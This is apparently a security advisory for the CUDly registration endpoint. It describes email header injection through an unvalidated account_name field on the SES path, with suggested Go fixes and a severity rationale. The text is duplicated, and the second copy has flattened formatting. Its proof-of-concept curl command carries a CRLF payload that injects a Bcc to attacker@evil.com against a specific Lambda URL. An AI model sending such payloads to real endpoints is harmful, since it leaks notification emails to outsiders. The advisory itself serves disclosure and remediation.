Summary
The registration notification email subject is built directly from the attacker-controlled account_name field submitted to the unauthenticated POST /api/register endpoint:
// internal/email/smtp_sender.go:413
subject := fmt.Sprintf("CUDly - New Account Registration: %s (%s)", data.AccountName, data.Provider)
sanitizeHeader is called on toEmail and subject inside SendToEmailWithCC but the subject is constructed from raw user input before it is passed to the send function. Because sanitizeHeader strips \r and \n, the subject parameter reaching buildSMTPMessage is safe. However, the construction pattern is fragile:
data.AccountName flows from body.AccountName in submitRegistration with no length or character-class validation (only != "" and email format checks are done in validateRegistrationRequest).
- A sufficiently long or Unicode-heavy account name can bloat the
Subject: header line beyond 998 characters, causing RFC-5321-noncompliant message framing that some spam filters or mail gateways handle incorrectly.
- More critically, the SES sender path (
internal/email/sender.go) also builds the same subject string from data.AccountName and passes it directly to the SES API — SES accepts MIME header values verbatim; an AccountName containing \r\n would not be stripped by sanitizeHeader (since sanitizeHeader is only called in the SMTP path, not the SES path).
Location
internal/email/smtp_sender.go line 413 — SMTP subject construction
internal/email/templates.go line 808 — SES subject construction (same fmt.Sprintf pattern, no sanitization call)
internal/api/handler_registrations.go lines 63-67 — account_name copied verbatim from unauthenticated POST body
Reproduction (PoC)
curl -s -X POST \
"https://33pz7pombdqwu3bdlxp4lqxyra0bsriy.lambda-url.us-east-1.on.aws/api/register" \
-H "Content-Type: application/json" \
-d '{
"provider": "aws",
"external_id": "123456789012",
"account_name": "Legit Account\r\nBcc: attacker@evil.com",
"contact_email": "attacker@example.com"
}'
Against the SES path the \r\n is not stripped before SES sees it. SES may reject the call with a validation error (best case) or forward the injected Bcc header (worst case, depends on SES version and SDK).
Suggested Fix
- In
validateRegistrationRequest, add a length cap and character allowlist (or CRLF strip) on AccountName:
if len(body.AccountName) > 200 {
return NewClientError(400, "account_name too long")
}
accountName = strings.NewReplacer("\r", "", "\n", "").Replace(body.AccountName)
- In
templates.go (SES path), apply sanitizeHeader to the account name before interpolating into the subject:
subject := fmt.Sprintf("CUDly - New Account Registration: %s (%s)",
sanitizeHeader(data.AccountName), sanitizeHeader(data.Provider))
Severity Rationale
Medium. The SMTP path is protected by sanitizeHeader at the send site. The SES path is not. Exploitability depends on whether the SES SDK validates MIME headers before sending; in practice SES SDKs do validate headers which limits severity, but the defence-in-depth gap at the data source is real and the fix is trivial.
Summary
The registration notification email subject is built directly from the attacker-controlled
account_namefield submitted to the unauthenticatedPOST /api/registerendpoint:sanitizeHeaderis called ontoEmailandsubjectinsideSendToEmailWithCCbut the subject is constructed from raw user input before it is passed to the send function. BecausesanitizeHeaderstrips\rand\n, thesubjectparameter reachingbuildSMTPMessageis safe. However, the construction pattern is fragile:data.AccountNameflows frombody.AccountNameinsubmitRegistrationwith no length or character-class validation (only!= ""and email format checks are done invalidateRegistrationRequest).Subject:header line beyond 998 characters, causing RFC-5321-noncompliant message framing that some spam filters or mail gateways handle incorrectly.internal/email/sender.go) also builds the same subject string fromdata.AccountNameand passes it directly to the SES API — SES accepts MIME header values verbatim; anAccountNamecontaining\r\nwould not be stripped bysanitizeHeader(sincesanitizeHeaderis only called in the SMTP path, not the SES path).Location
internal/email/smtp_sender.goline 413 — SMTP subject constructioninternal/email/templates.goline 808 — SES subject construction (samefmt.Sprintfpattern, no sanitization call)internal/api/handler_registrations.golines 63-67 —account_namecopied verbatim from unauthenticated POST bodyReproduction (PoC)
Against the SES path the
\r\nis not stripped before SES sees it. SES may reject the call with a validation error (best case) or forward the injected Bcc header (worst case, depends on SES version and SDK).Suggested Fix
validateRegistrationRequest, add a length cap and character allowlist (or CRLF strip) onAccountName:templates.go(SES path), applysanitizeHeaderto the account name before interpolating into the subject:Severity Rationale
Medium. The SMTP path is protected by
sanitizeHeaderat the send site. The SES path is not. Exploitability depends on whether the SES SDK validates MIME headers before sending; in practice SES SDKs do validate headers which limits severity, but the defence-in-depth gap at the data source is real and the fix is trivial.